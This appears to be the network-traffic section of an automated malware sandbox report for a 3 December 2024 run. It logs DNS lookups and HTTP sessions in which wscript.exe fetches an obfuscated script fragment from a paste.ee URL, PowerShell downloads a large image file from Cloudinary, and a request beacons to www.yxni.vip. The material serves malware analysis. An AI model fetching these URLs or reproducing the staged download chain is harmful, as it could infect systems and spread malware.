Dec 3, 2024 10:07:08.442619085 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 10:07:08.442934990 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.443095922 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:07:08.443108082 CET	443	49898	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 10:04:56.259717941 CET	52195	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:04:56.607577085 CET	53	52195	1.1.1.1	192.168.2.4
Dec 3, 2024 10:05:02.588430882 CET	63665	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:05:02.914937019 CET	53	63665	1.1.1.1	192.168.2.4
Dec 3, 2024 10:06:02.307475090 CET	58295	53	192.168.2.4	1.1.1.1
Dec 3, 2024 10:06:02.937747955 CET	53	58295	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 10:04:56.259717941 CET	192.168.2.4	1.1.1.1	0x4aeb	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:05:02.588430882 CET	192.168.2.4	1.1.1.1	0x640e	Standard query (0)	res.cloudinary.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:06:02.307475090 CET	192.168.2.4	1.1.1.1	0xc760	Standard query (0)	www.yxni.vip	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 10:04:56.607577085 CET	1.1.1.1	192.168.2.4	0x4aeb	No error (0)	paste.ee		104.21.84.67	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:04:56.607577085 CET	1.1.1.1	192.168.2.4	0x4aeb	No error (0)	paste.ee		172.67.187.200	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:05:02.914937019 CET	1.1.1.1	192.168.2.4	0x640e	No error (0)	res.cloudinary.com	cloudinary.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 10:05:02.914937019 CET	1.1.1.1	192.168.2.4	0x640e	No error (0)	cloudinary.map.fastly.net		151.101.1.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:05:02.914937019 CET	1.1.1.1	192.168.2.4	0x640e	No error (0)	cloudinary.map.fastly.net		151.101.65.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:05:02.914937019 CET	1.1.1.1	192.168.2.4	0x640e	No error (0)	cloudinary.map.fastly.net		151.101.129.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:05:02.914937019 CET	1.1.1.1	192.168.2.4	0x640e	No error (0)	cloudinary.map.fastly.net		151.101.193.137	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:05:18.006921053 CET	1.1.1.1	192.168.2.4	0xb909	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 10:05:18.006921053 CET	1.1.1.1	192.168.2.4	0xb909	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:05:31.722245932 CET	1.1.1.1	192.168.2.4	0xfea1	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 10:05:31.722245932 CET	1.1.1.1	192.168.2.4	0xfea1	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:05:55.764607906 CET	1.1.1.1	192.168.2.4	0x42e1	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 10:05:55.764607906 CET	1.1.1.1	192.168.2.4	0x42e1	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 3, 2024 10:06:02.937747955 CET	1.1.1.1	192.168.2.4	0xc760	No error (0)	www.yxni.vip		192.186.57.30	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

paste.ee

res.cloudinary.com

www.yxni.vip

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49751	192.186.57.30	80	7296	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 10:06:03.063219070 CET	378	OUT	GET /skhs/?q2gYNc=YYGtc0vZDxBZaqOUfK8EjJlrwUEGCmw9C1cdleHi+lzAM/tSLZDkT6oQFAP0CoyED8RVRESu2LRjuGrjAaGK14wgZjrklmy8P/7KZtR3AGJqubIGbQJuqGM=&i7g0=S7yiJ01bbdLMH HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Host: www.yxni.vip Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
Dec 3, 2024 10:06:04.609683990 CET	407	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 09:06:01 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p mod_fcgid/2.3.9a Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.84.67	443	7296	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:04:58 UTC	319	OUT	GET /d/69SP6 HTTP/1.1 Accept: / Accept-Language: en-ch UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: paste.ee Connection: Keep-Alive
2024-12-03 09:04:58 UTC	1232	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 09:04:58 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p5HnA0obXo2Yoxh7YI1vj2G3sFLtH%2BhTIdJO9s0SeHgw5u0r2Ea%2BLek3c3xlyr0AcFwss1KYUUPL6ROFi3j%2BlzEhCUKvbRiTr221aTz9piV2GoyDTVx8MDOAjg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec2646d78abefa1-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 09:04:58 UTC	215	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 39 35 34 26 6d 69 6e 5f 72 74 74 3d 31 39 34 32 26 72 74 74 5f 76 61 72 3d 37 35 33 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 37 26 72 65 63 76 5f 62 79 74 65 73 3d 39 30 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 34 32 38 35 37 31 26 63 77 6e 64 3d 31 35 34 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 61 30 31 61 34 66 31 61 64 66 39 30 39 62 35 26 74 73 3d 38 33 37 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1954&min_rtt=1942&rtt_var=753&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2817&recv_bytes=901&delivery_rate=1428571&cwnd=154&unsent_bytes=0&cid=4a01a4f1adf909b5&ts=837&x=0"
2024-12-03 09:04:58 UTC	1291	IN	Data Raw: 31 66 37 66 0d 0a 50 6b 57 6f 7a 50 65 57 65 6e 63 4e 4a 70 62 20 3d 20 22 6b 63 4b 67 63 78 69 6f 64 57 66 4c 57 50 69 22 0d 0a 69 55 62 6d 57 61 70 4e 55 41 4e 69 4c 41 64 20 3d 20 22 6d 5a 6b 52 70 74 57 57 57 4b 69 47 49 68 6e 22 0d 0a 70 73 43 65 57 4c 68 51 6f 5a 74 62 66 72 57 20 3d 20 22 4f 5a 4b 64 57 68 50 4c 6a 57 6b 4f 4b 62 61 22 0d 0a 50 48 4c 51 69 6b 4c 65 48 43 6d 6e 4b 6c 66 20 3d 20 22 50 4c 76 57 7a 57 76 69 4c 67 6b 69 4b 70 4c 22 0d 0a 4c 47 69 6c 47 57 47 50 4f 69 6f 67 4c 42 4e 20 3d 20 22 55 41 61 57 68 65 4c 68 57 4c 6c 50 71 42 7a 22 0d 0a 48 57 69 68 64 4b 75 4b 6e 78 55 47 64 6d 47 20 3d 20 22 65 66 4e 62 57 4c 50 61 49 41 4c 41 6a 66 41 22 0d 0a 53 4b 4e 6f 4c 6d 4c 78 4c 65 57 6b 6e 4b 6c 20 3d 20 22 4b 47 54 75 6d 4c 6e 47 Data Ascii: 1f7fPkWozPeWencNJpb = "kcKgcxiodWfLWPi"iUbmWapNUANiLAd = "mZkRptWWWKiGIhn"psCeWLhQoZtbfrW = "OZKdWhPLjWkOKba"PHLQikLeHCmnKlf = "PLvWzWviLgkiKpL"LGilGWGPOiogLBN = "UAaWheLhWLlPqBz"HWihdKuKnxUGdmG = "efNbWLPaIALAjfA"SKNoLmLxLeWknKl = "KGTumLnG
2024-12-03 09:04:58 UTC	1369	IN	Data Raw: 4f 72 54 6f 75 4c 6b 41 72 65 4c 47 6f 22 0d 0a 4e 4c 4a 5a 61 62 57 63 4c 4c 47 5a 41 4c 4c 20 3d 20 22 41 54 4b 4c 7a 6f 52 6d 6c 5a 69 70 43 50 57 22 0d 0a 71 47 57 61 41 62 48 47 69 61 55 50 68 4c 74 20 3d 20 22 76 52 4c 66 68 63 69 57 4f 4c 57 74 7a 68 63 22 0d 0a 4c 53 76 65 70 57 63 54 70 70 6c 42 75 4c 4e 20 3d 20 22 74 55 78 72 47 57 61 6b 41 4c 71 6f 78 6e 55 22 0d 0a 6e 68 57 48 74 71 68 6a 67 4b 4c 52 62 6b 69 20 3d 20 22 6a 41 4c 57 4c 4c 66 50 65 6d 4c 4e 6f 6d 70 22 0d 0a 51 57 47 4a 50 50 55 55 57 49 5a 69 52 4f 78 20 3d 20 22 65 64 7a 48 4b 6c 69 6b 64 63 69 6f 4c 65 4b 22 0d 0a 50 5a 43 4b 61 43 47 6c 6f 71 53 4c 63 6f 7a 20 3d 20 22 6f 61 5a 4c 48 5a 48 42 71 69 76 61 66 72 74 22 0d 0a 70 75 63 4c 57 4c 42 42 4e 50 6d 7a 6f 64 5a 20 3d Data Ascii: OrTouLkAreLGo"NLJZabWcLLGZALL = "ATKLzoRmlZipCPW"qGWaAbHGiaUPhLt = "vRLfhciWOLWtzhc"LSvepWcTpplBuLN = "tUxrGWakALqoxnU"nhWHtqhjgKLRbki = "jALWLLfPemLNomp"QWGJPPUUWIZiROx = "edzHKlikdcioLeK"PZCKaCGloqSLcoz = "oaZLHZHBqivafrt"pucLWLBBNPmzodZ =
2024-12-03 09:04:58 UTC	1369	IN	Data Raw: 20 3d 20 22 65 52 57 6b 4c 4b 66 5a 67 6f 52 6e 66 6f 48 22 0d 0a 78 6b 69 4f 50 4a 4f 69 57 72 50 65 63 6b 68 20 3d 20 22 4c 41 4b 6a 55 78 73 76 72 7a 52 69 71 55 49 22 0d 0a 55 57 52 4c 69 4c 6f 65 6f 4c 75 63 4c 4c 4c 20 3d 20 22 6f 70 57 78 75 75 70 63 75 4c 4b 4e 47 57 48 22 0d 0a 71 6d 4c 42 52 4c 49 5a 57 68 6f 54 4e 4b 69 20 3d 20 22 6e 7a 41 55 65 65 50 69 6f 4b 4b 4b 69 69 4c 22 0d 0a 53 65 57 4b 63 4e 53 62 51 74 47 6a 5a 4f 69 20 3d 20 22 78 57 6e 57 6e 4c 72 6d 6e 52 72 65 57 78 68 22 0d 0a 66 74 4c 41 69 4b 50 42 4c 57 75 4c 74 61 4b 20 3d 20 22 4b 6e 4c 4c 47 70 51 6f 68 4c 43 73 74 69 4f 22 0d 0a 41 63 52 6e 6c 4c 4b 64 4e 67 68 6e 57 66 55 20 3d 20 22 49 53 47 57 68 6b 6c 64 71 57 50 55 4f 4c 64 22 0d 0a 41 66 43 4c 75 71 70 63 52 4b 62 Data Ascii: = "eRWkLKfZgoRnfoH"xkiOPJOiWrPeckh = "LAKjUxsvrzRiqUI"UWRLiLoeoLucLLL = "opWxuupcuLKNGWH"qmLBRLIZWhoTNKi = "nzAUeePioKKKiiL"SeWKcNSbQtGjZOi = "xWnWnLrmnRreWxh"ftLAiKPBLWuLtaK = "KnLLGpQohLCstiO"AcRnlLKdNghnWfU = "ISGWhkldqWPUOLd"AfCLuqpcRKb
2024-12-03 09:04:58 UTC	1369	IN	Data Raw: 41 64 6d 70 55 57 20 3d 20 22 41 43 6b 41 68 5a 74 4c 68 68 4e 69 61 74 6e 22 0d 0a 69 74 57 55 4c 6e 4b 70 47 48 62 5a 63 43 5a 20 3d 20 22 6b 4c 57 66 4a 4c 6d 78 64 69 69 6d 4b 78 62 22 0d 0a 0d 0a 47 57 64 6c 69 50 68 6e 4b 55 69 6f 57 71 75 20 3d 20 22 4f 6e 6e 4a 4b 66 72 50 76 48 4c 43 47 75 74 22 0d 0a 61 5a 70 5a 63 55 72 49 4e 6e 74 5a 66 6b 6c 20 3d 20 22 75 68 6d 63 55 4b 5a 42 4b 52 7a 6f 4c 66 69 22 0d 0a 6d 4c 62 69 4c 63 4b 64 57 4e 4c 4c 65 69 6c 20 3d 20 22 57 6b 6f 50 4b 4e 57 4a 57 70 70 4c 78 4b 63 22 0d 0a 63 61 52 55 47 5a 6a 52 4c 57 6d 66 69 6e 4f 20 3d 20 22 69 4c 7a 73 63 6d 5a 6d 55 61 47 73 4e 4b 4c 22 0d 0a 55 41 62 75 4f 55 70 4a 73 64 50 6b 6b 66 6d 20 3d 20 22 50 66 4b 6f 5a 6e 4c 57 78 50 4e 6f 78 4b 4c 22 0d 0a 42 6b 47 Data Ascii: AdmpUW = "ACkAhZtLhhNiatn"itWULnKpGHbZcCZ = "kLWfJLmxdiimKxb"GWdliPhnKUioWqu = "OnnJKfrPvHLCGut"aZpZcUrINntZfkl = "uhmcUKZBKRzoLfi"mLbiLcKdWNLLeil = "WkoPKNWJWppLxKc"caRUGZjRLWmfinO = "iLzscmZmUaGsNKL"UAbuOUpJsdPkkfm = "PfKoZnLWxPNoxKL"BkG
2024-12-03 09:04:58 UTC	1369	IN	Data Raw: 5a 4c 55 47 57 69 47 42 4c 6b 57 43 66 5a 20 3d 20 22 6c 6b 52 70 55 75 4f 61 6f 6e 57 4b 4b 6f 62 22 0d 0a 71 53 61 78 42 52 47 6f 55 43 6c 4b 7a 57 4b 20 3d 20 22 71 71 5a 63 42 6b 42 4f 4c 4c 6b 47 74 4f 69 22 0d 0a 4b 6d 62 4c 57 47 63 57 4c 57 4c 4e 55 6b 78 20 3d 20 22 4a 55 70 4a 66 62 66 4e 42 70 53 4c 57 76 65 22 0d 0a 4c 57 51 78 57 75 4c 4c 78 7a 66 5a 4b 4c 63 20 3d 20 22 6f 71 69 51 6e 4c 76 57 4c 78 71 66 4f 65 43 22 0d 0a 50 52 55 4c 63 62 6c 47 43 4e 4c 42 73 63 55 20 3d 20 22 66 50 4c 78 50 55 4e 65 4b 47 4e 53 74 5a 57 22 0d 0a 0d 0a 42 6b 57 71 65 70 47 6f 6c 48 74 41 6f 4e 54 20 3d 20 22 73 70 71 55 63 72 55 64 57 78 66 48 52 65 6f 22 0d 0a 63 52 4b 4c 7a 4b 57 64 57 63 69 55 4c 75 47 20 3d 20 22 4b 4c 55 71 4b 6b 47 47 75 65 41 69 4c Data Ascii: ZLUGWiGBLkWCfZ = "lkRpUuOaonWKKob"qSaxBRGoUClKzWK = "qqZcBkBOLLkGtOi"KmbLWGcWLWLNUkx = "JUpJfbfNBpSLWve"LWQxWuLLxzfZKLc = "oqiQnLvWLxqfOeC"PRULcblGCNLBscU = "fPLxPUNeKGNStZW"BkWqepGolHtAoNT = "spqUcrUdWxfHReo"cRKLzKWdWciULuG = "KLUqKkGGueAiL
2024-12-03 09:04:58 UTC	1304	IN	Data Raw: 57 55 62 63 22 0d 0a 4c 47 68 62 66 61 57 74 69 57 41 4c 78 6b 57 20 3d 20 22 43 6b 57 4b 68 6f 47 4f 6c 62 47 6f 61 78 57 22 0d 0a 70 6f 4c 62 69 57 6c 6d 7a 65 4b 4e 75 4b 75 20 3d 20 22 66 61 4b 6b 6f 74 5a 69 57 74 6b 4f 57 69 6d 22 0d 0a 41 4c 66 69 6c 6b 55 69 72 50 47 4b 4f 4f 6b 20 3d 20 22 67 67 55 71 4b 55 4b 66 41 63 6b 57 4c 7a 65 22 0d 0a 57 74 57 64 6e 69 4a 4b 6e 65 57 78 47 41 5a 20 3d 20 22 4c 4f 7a 57 47 4e 4a 55 6c 63 63 72 6b 70 4c 22 0d 0a 6c 66 63 6c 74 48 4c 50 50 66 69 69 78 6b 52 20 3d 20 22 55 49 70 43 6b 57 4c 6c 50 4c 6e 4b 6c 74 6d 22 0d 0a 41 6f 78 66 42 57 57 5a 55 4f 57 72 6d 5a 69 20 3d 20 22 69 6f 74 63 6e 42 70 6e 6c 69 4b 6d 47 69 4e 22 0d 0a 4c 57 78 68 74 73 71 66 6a 69 4c 7a 7a 4f 7a 20 3d 20 22 52 6d 57 4f 6f 53 4f Data Ascii: WUbc"LGhbfaWtiWALxkW = "CkWKhoGOlbGoaxW"poLbiWlmzeKNuKu = "faKkotZiWtkOWim"ALfilkUirPGKOOk = "ggUqKUKfAckWLze"WtWdniJKneWxGAZ = "LOzWGNJUlccrkpL"lfcltHLPPfiixkR = "UIpCkWLlPLnKltm"AoxfBWWZUOWrmZi = "iotcnBpnliKmGiN"LWxhtsqfjiLzzOz = "RmWOoSO
2024-12-03 09:04:58 UTC	1369	IN	Data Raw: 32 30 30 30 0d 0a 76 6c 68 22 0d 0a 61 57 4a 74 78 6d 53 62 57 64 6c 57 5a 6c 6c 20 3d 20 22 4c 6c 5a 6b 73 68 64 71 47 7a 57 61 76 63 6b 22 0d 0a 68 69 69 52 7a 55 62 57 7a 55 70 43 6a 6d 64 20 3d 20 22 4c 4e 4c 6c 63 55 4b 4c 4e 66 66 47 62 73 4b 22 0d 0a 55 6d 65 42 7a 70 57 74 62 4c 69 6d 70 73 68 20 3d 20 22 4f 57 4e 57 50 55 6c 64 4c 6c 72 42 7a 75 66 22 0d 0a 0d 0a 50 57 6d 6d 4e 63 4f 41 52 4c 6b 57 4c 41 63 20 3d 20 22 4c 57 5a 50 71 73 55 66 57 57 74 53 74 68 57 22 0d 0a 4c 65 57 6f 6f 41 62 57 43 5a 65 68 66 57 73 20 3d 20 22 69 66 7a 57 78 6c 69 62 68 5a 4c 4c 53 6c 61 22 0d 0a 69 4e 6b 4a 65 66 4b 7a 66 69 57 66 43 78 70 20 3d 20 22 72 7a 71 63 6f 55 6c 57 4e 5a 69 47 47 47 42 22 0d 0a 65 4e 6b 41 55 6b 6e 68 64 55 7a 71 4c 74 43 20 3d 20 22 Data Ascii: 2000vlh"aWJtxmSbWdlWZll = "LlZkshdqGzWavck"hiiRzUbWzUpCjmd = "LNLlcUKLNffGbsK"UmeBzpWtbLimpsh = "OWNWPUldLlrBzuf"PWmmNcOARLkWLAc = "LWZPqsUfWWtSthW"LeWooAbWCZehfWs = "ifzWxlibhZLLSla"iNkJefKzfiWfCxp = "rzqcoUlWNZiGGGB"eNkAUknhdUzqLtC = "
2024-12-03 09:04:58 UTC	1369	IN	Data Raw: 20 22 57 6b 47 47 4b 72 53 70 66 57 42 6b 42 63 65 22 0d 0a 6c 48 69 4b 63 62 6e 57 6d 70 57 63 63 41 5a 20 3d 20 22 4f 4b 47 4c 75 6f 74 75 4e 4b 6f 43 57 66 4b 22 0d 0a 63 62 4f 68 71 51 6f 6b 69 63 4c 54 63 6d 6c 20 3d 20 22 63 6b 71 4c 55 62 5a 66 62 57 74 54 4f 4c 47 22 0d 0a 4b 4c 57 52 54 69 43 69 6b 47 4b 6b 6c 55 7a 20 3d 20 22 63 57 6d 64 66 6b 4c 4c 5a 50 65 57 65 42 47 22 0d 0a 57 4c 6f 63 52 50 57 4c 4c 55 4e 4b 55 43 47 20 3d 20 22 5a 6b 73 4c 51 57 47 5a 64 42 78 61 70 43 68 22 0d 0a 54 66 4c 57 4c 54 63 64 63 4e 55 55 57 69 4f 20 3d 20 22 55 4b 6b 41 64 6a 68 6d 70 72 70 4b 66 4f 63 22 0d 0a 42 50 41 64 47 63 4c 6d 4b 4e 52 62 50 57 65 20 3d 20 22 57 4b 6c 4e 57 47 6b 6f 4f 6f 47 50 47 6e 64 22 0d 0a 0d 0a 4c 4b 6b 53 6e 4c 65 69 4b 55 78 Data Ascii: "WkGGKrSpfWBkBce"lHiKcbnWmpWccAZ = "OKGLuotuNKoCWfK"cbOhqQokicLTcml = "ckqLUbZfbWtTOLG"KLWRTiCikGKklUz = "cWmdfkLLZPeWeBG"WLocRPWLLUNKUCG = "ZksLQWGZdBxapCh"TfLWLTcdcNUUWiO = "UKkAdjhmprpKfOc"BPAdGcLmKNRbPWe = "WKlNWGkoOoGPGnd"LKkSnLeiKUx
2024-12-03 09:04:58 UTC	1369	IN	Data Raw: 74 61 51 71 55 54 20 3d 20 22 4b 63 70 55 5a 4c 6c 57 63 68 55 57 57 4e 50 22 0d 0a 6b 75 69 6a 6c 52 4c 6b 4e 68 68 47 6f 41 68 20 3d 20 22 69 6b 75 66 78 4b 78 65 48 6b 4c 47 75 6b 47 22 0d 0a 64 57 4b 6c 4c 6a 72 63 57 64 4a 4c 4c 52 4b 20 3d 20 22 66 6d 71 78 6e 67 4e 62 50 50 43 69 66 4b 74 22 0d 0a 4c 72 71 6e 6c 66 72 53 55 48 6f 6a 4c 57 71 20 3d 20 22 6e 4c 67 70 6d 72 57 69 55 4b 57 42 4f 68 6c 22 0d 0a 70 5a 63 41 4c 6e 7a 52 70 50 68 78 55 4c 7a 20 3d 20 22 42 41 62 62 7a 4b 6b 6d 55 69 41 43 7a 43 53 22 0d 0a 41 6e 57 65 68 55 4b 4c 6b 71 43 55 43 4e 64 20 3d 20 22 6c 49 75 68 6d 5a 70 4b 63 68 6b 6b 43 55 6f 22 0d 0a 70 4f 7a 47 4a 55 4b 4c 41 6d 72 47 69 4c 57 20 3d 20 22 66 62 4b 6d 65 65 52 55 49 63 6d 6b 78 4e 6b 22 0d 0a 4b 63 6b 5a 4b Data Ascii: taQqUT = "KcpUZLlWchUWWNP"kuijlRLkNhhGoAh = "ikufxKxeHkLGukG"dWKlLjrcWdJLLRK = "fmqxngNbPPCifKt"LrqnlfrSUHojLWq = "nLgpmrWiUKWBOhl"pZcALnzRpPhxULz = "BAbbzKkmUiACzCS"AnWehUKLkqCUCNd = "lIuhmZpKchkkCUo"pOzGJUKLAmrGiLW = "fbKmeeRUIcmkxNk"KckZK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	151.101.1.137	443	7616	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 09:05:04 UTC	127	OUT	GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1 Host: res.cloudinary.com Connection: Keep-Alive
2024-12-03 09:05:04 UTC	805	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2230233 Content-Type: image/jpeg Etag: "7b9a6708dc7c92995f443d0b41dbc8d0" Last-Modified: Mon, 02 Dec 2024 10:22:29 GMT Date: Tue, 03 Dec 2024 09:05:04 GMT Strict-Transport-Security: max-age=604800 Cache-Control: public, no-transform, immutable, max-age=2592000 Server-Timing: cld-fastly;dur=285;cpu=123;start=2024-12-03T09:05:04.523Z;desc=miss,rtt;dur=185,content-info;desc="width=1920,height=1080,bytes=2230233,o=1,ef=(17)",cloudinary;dur=152;start=2024-12-03T09:05:04.650Z Server: Cloudinary Timing-Allow-Origin: * Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Content-Type-Options: nosniff Access-Control-Expose-Headers: Content-Length,ETag,Server-Timing,X-Content-Type-Options x-request-id: 6f487a4c60d72621f2efeecff85ca20a
2024-12-03 09:05:04 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-12-03 09:05:04 UTC	1378	IN	Data Raw: 77 24 91 80 f7 ed aa 38 13 c5 74 2e 92 f9 a4 19 c0 50 c1 95 13 cc f4 aa d7 4f e2 f4 f6 cf 9a 34 12 6a 34 d1 ac 34 c0 35 95 3d b3 e9 ff 00 b5 df 0d 9e 5f 16 d1 c2 37 3c 8c ae 62 55 46 b2 4b 70 2d 85 9e 48 cf 03 04 29 1a 02 c8 cb 27 e1 22 e8 8f 87 f3 c0 63 45 08 87 48 b1 94 0b b9 a8 91 99 9a b8 22 87 5d 10 0c cd 1b b7 a8 92 00 02 e8 d6 6a e9 8a 5b 07 65 52 c0 a8 46 37 fa 62 5a 9d 3c 47 59 18 29 b4 1d c3 d2 47 3f 4c 09 9f 4f a7 74 d3 90 78 2c c0 37 bf 3c 73 8a 10 92 a8 46 da b2 2c 8a a8 77 71 9b 83 4e 8f 0a 82 ab ed c1 ac ce 7f 04 8d 35 22 50 e5 08 6b aa b1 81 68 b5 2c ec eb e5 80 55 14 32 31 a5 53 75 63 e7 97 d6 cd 1e a2 6d 36 91 ee de 4f 55 76 14 79 07 0b 2b 22 ef 72 88 c0 2f a9 8a 8e 6b 31 f4 8c da ed 7c d2 10 5c 85 3b 2c d5 0a 23 a6 06 b8 8b 6f 90 b0 bc Data Ascii: w$8t.PO4j445=_7<bUFKp-H)'"cEH"]j[eRF7bZ<GY)G?LOtx,7<sF,wqN5"Pkh,U21Sucm6OUvy+"r/k1\|\;,#o
